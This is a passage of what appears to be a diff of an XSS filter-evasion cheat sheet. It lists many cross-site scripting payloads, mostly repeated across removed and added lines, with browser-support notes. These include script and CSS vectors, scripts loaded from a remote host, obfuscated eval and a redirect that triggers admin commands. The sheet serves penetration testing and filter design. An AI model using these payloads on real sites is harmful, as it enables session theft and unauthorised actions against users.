not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC="http://badguy.com/a.jpg"> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - IMG STYLE w/expression + + + XSS Locator + ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{} + Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. You'll need to replace the "&" with "%26" if you are submitting this XSS string via HTTP GET or it will be ignored and everything after it will be interpreted as another variable. Tip: If you're in a rush and need to quickly check a page, often times injecting the deprecated "<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + XSS Quick Test + '';!--"<XSS>=&{()} + If you don't have much space, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS versus &lt;XSS to see if it is vulnerable. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + SCRIPT w/Alert() + <SCRIPT>alert('XSS')</SCRIPT> + Basic injection attack + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + SCRIPT w/Source File + <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> + No filter evasion. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + SCRIPT w/Char Code + <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> + Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + BASE + <BASE HREF="javascript:alert('XSS');//"> + Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + BGSOUND + <BGSOUND SRC="javascript:alert('XSS');"> + BGSOUND + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + BODY background-image + <BODY BACKGROUND="javascript:alert('XSS');"> + BODY image + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + BODY ONLOAD + <BODY ONLOAD=alert('XSS')> + BODY tag (I like this method because it doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack) + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + DIV background-image 1 + <DIV STYLE="background-image: url(javascript:alert('XSS'))"> + Div background-image + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + DIV background-image 2 + <DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))"> + Div background-image plus extra characters. I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8203, 12288, 65279) + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + DIV expression + <DIV STYLE="width: expression(alert('XSS'));"> + Div expression - a variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression" + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + FRAME + <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> + Frame (Frames have the same sorts of XSS problems as iframes). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + IFRAME + <IFRAME SRC="javascript:alert('XSS');"></IFRAME> + Iframe (If iframes are allowed there are a lot of other XSS problems as well). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + INPUT Image + <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> + INPUT Image + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + IMG w/JavaScript Directive + <IMG SRC="javascript:alert('XSS');"> + Image XSS using the JavaScript directive. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + IMG No Quotes/Semicolon + <IMG SRC=javascript:alert('XSS')> + No quotes and no semicolon + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + IMG Dynsrc + <IMG DYNSRC="javascript:alert('XSS');"> + IMG Dynsrc + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + IMG Lowsrc + <IMG LOWSRC="javascript:alert('XSS');"> + IMG Lowsrc + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + IMG Embedded commands 1 + <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> + This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc... This is one of the lesser used but more useful XSS vectors. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + IMG Embedded commands 2 + Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser + IMG Embedded commands part II - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC="http://badguy.com/a.jpg"> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + IMG STYLE w/expression exp/*<XSS STYLE='no\xss:noxss("*//*"); -xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'> - IMG STYLE with expression (this is really a hybrid of several CSS XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like the other CSS examples this can send IE into a loop). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - List-style-image - <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS - Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - IMG w/VBscript - <IMG SRC='vbscript:msgbox("XSS")'> - VBscript in an image - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - LAYER - <LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER> - Layer (Older Netscape only) - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] - - - Livescript - <IMG SRC="livescript:[code]"> - Livescript (Older Netscape only) - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] - - - US-ASCII encoding - %BCscript%BEalert(%A2XSS%A2)%BC/script%BE - Found by Kurt Huwig http://www.iku-ag.de/ This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the hosts transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="ns">NS4</span>] - - - META - <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> - The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - META w/data:URL - <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> - This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, since it utilizes base64 encoding. Please see http://www.ietf.org/rfc/rfc2397.txt for more details - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - META w/additional URL parameter - <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"> - Meta with additional URL parameter. If the target website attempts to see if the URL contains an "http://" you can evade it with the following technique (Submitted by Moritz Naumann http://www.moritz-naumann.com) - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - Mocha - <IMG SRC="mocha:[code]"> - Mocha (Older Netscape only) - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] - - - OBJECT - <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT> - If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag. The linked file is actually an HTML file that can contain your XSS - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - OBJECT w/Embedded XSS - <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT> - Using an OBJECT tag you can embed XSS directly (this is unverified). - - Browser support: - - - Embed Flash - <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED> - Using an EMBED tag you can embed a Flash movie that contains XSS. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info). Demo: http://ha.ckers.org/weird/xssflash.html : - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - OBJECT w/Flash 2 - a="get";&#10;b="URL("";&#10;c="javascript:";&#10;d="alert('XSS');")"; eval(a+b+c+d); - Using this action script inside flash can obfuscate your XSS vector. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - STYLE - <STYLE TYPE="text/javascript">alert('XSS');</STYLE> - STYLE tag (Older versions of Netscape only) - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] - - - STYLE w/Comment - <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> - STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one) - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - STYLE w/Anonymous HTML - <XSS STYLE="xss:expression(alert('XSS'))"> - Anonymous HTML with STYLE attribute (IE and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter) - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - STYLE w/background-image - <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> - STYLE tag using background-image. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - STYLE w/background - <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> - STYLE tag using background. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - Stylesheet - <LINK REL="stylesheet" HREF="javascript:alert('XSS');"> - Stylesheet - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - Remote Stylesheet 1 - <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"> - Remote style sheet (using something as simple as a remote style sheet you can include your XSS as the style question redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - Remote Stylesheet 2 - <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE> - Remote style sheet part 2 (this works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop http://www.hacker.co.il/security/ie/css_import.html. As a side note you can remote the end STYLE tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equal sign or a slash in your cross site scripting attack, which has come up at least once in the real world. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - Remote Stylesheet 3 - <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"> - Remote style sheet part 3. This only works in Opera but is fairly tricky. Setting a link header is not part of the HTTP1.1 spec. However, some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <http://ha.ckers.org/xss.css>; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox. - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - Remote Stylesheet 4 - <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE> - Remote style sheet part 4. This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefore is vulnerable to this for the vast majority of sites. - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - TABLE - <TABLE BACKGROUND="javascript:alert('XSS')"></TABLE> - Table background (who would have thought tables were XSS targets... except me, of course). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - TD - <TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE> - TD background. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - XML namespace +xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'> + IMG STYLE with expression (this is really a hybrid of several CSS XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like the other CSS examples this can send IE into a loop). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + List-style-image + <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS + Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + IMG w/VBscript + <IMG SRC='vbscript:msgbox("XSS")'> + VBscript in an image + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + LAYER + <LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER> + Layer (Older Netscape only) + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] + + + Livescript + <IMG SRC="livescript:[code]"> + Livescript (Older Netscape only) + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] + + + US-ASCII encoding + %BCscript%BEalert(%A2XSS%A2)%BC/script%BE + Found by Kurt Huwig http://www.iku-ag.de/ This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the hosts transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="ns">NS4</span>] + + + META + <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> + The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] + + + META w/data:URL + <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> + This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, since it utilizes base64 encoding. Please see http://www.ietf.org/rfc/rfc2397.txt for more details + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + META w/additional URL parameter + <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"> + Meta with additional URL parameter. If the target website attempts to see if the URL contains an "http://" you can evade it with the following technique (Submitted by Moritz Naumann http://www.moritz-naumann.com) + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + Mocha + <IMG SRC="mocha:[code]"> + Mocha (Older Netscape only) + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] + + + OBJECT + <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT> + If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag. The linked file is actually an HTML file that can contain your XSS + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + OBJECT w/Embedded XSS + <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT> + Using an OBJECT tag you can embed XSS directly (this is unverified). + + Browser support: + + + Embed Flash + <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED> + Using an EMBED tag you can embed a Flash movie that contains XSS. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info). Demo: http://ha.ckers.org/weird/xssflash.html : + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + OBJECT w/Flash 2 + a="get";&#10;b="URL("";&#10;c="javascript:";&#10;d="alert('XSS');")"; eval(a+b+c+d); + Using this action script inside flash can obfuscate your XSS vector. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + STYLE + <STYLE TYPE="text/javascript">alert('XSS');</STYLE> + STYLE tag (Older versions of Netscape only) + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] + + + STYLE w/Comment + <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> + STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one) + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + STYLE w/Anonymous HTML + <XSS STYLE="xss:expression(alert('XSS'))"> + Anonymous HTML with STYLE attribute (IE and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter) + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + STYLE w/background-image + <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> + STYLE tag using background-image. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + STYLE w/background + <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> + STYLE tag using background. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + Stylesheet + <LINK REL="stylesheet" HREF="javascript:alert('XSS');"> + Stylesheet + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + Remote Stylesheet 1 + <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"> + Remote style sheet (using something as simple as a remote style sheet you can include your XSS as the style question redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + Remote Stylesheet 2 + <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE> + Remote style sheet part 2 (this works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop http://www.hacker.co.il/security/ie/css_import.html. As a side note you can remote the end STYLE tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equal sign or a slash in your cross site scripting attack, which has come up at least once in the real world. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + Remote Stylesheet 3 + <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"> + Remote style sheet part 3. This only works in Opera but is fairly tricky. Setting a link header is not part of the HTTP1.1 spec. However, some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <http://ha.ckers.org/xss.css>; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox. + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + Remote Stylesheet 4 + <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE> + Remote style sheet part 4. This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefore is vulnerable to this for the vast majority of sites. + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] + + + TABLE + <TABLE BACKGROUND="javascript:alert('XSS')"></TABLE> + Table background (who would have thought tables were XSS targets... except me, of course). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + TD + <TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE> + TD background. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + XML namespace <HTML xmlns:xss> <?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"> <xss:xss>XSS</xss:xss> -</HTML> - XML namespace. The .htc file must be located on the server as your XSS vector. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - XML data island w/CDATA +</HTML> + XML namespace. The .htc file must be located on the server as your XSS vector. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span 